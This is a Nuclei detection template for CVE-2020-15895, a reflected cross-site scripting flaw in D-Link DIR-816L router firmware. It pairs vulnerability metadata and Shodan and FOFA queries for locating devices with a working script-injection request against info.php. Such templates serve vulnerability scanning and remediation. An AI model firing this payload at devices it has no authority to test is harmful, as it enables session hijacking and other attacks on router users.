id: CVE-2020-15895

info:
  name: D-Link DIR-816L 2.x - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15895
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-15895
    cwe-id: CWE-79
    epss-score: 0.02835
    epss-percentile: 0.85238
    cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dir-816l_firmware
    shodan-query:
      - html:"DIR-816L"
      - http.html:"dir-816l"
    fofa-query: body="dir-816l"
  tags: cve2020,cve,dlink,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ";alert(document.domain);"
          - "DIR-816L"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e42f2f1906c87b5482b85bafb5d5a3d2089c1b345cbbe60d18c5e9a9d3a17ab20220754b9e1c74f43d77b3cb7440a031722044d3fd0df588929f65300018d368c401:922c64590222798bb761d5b6d8e72950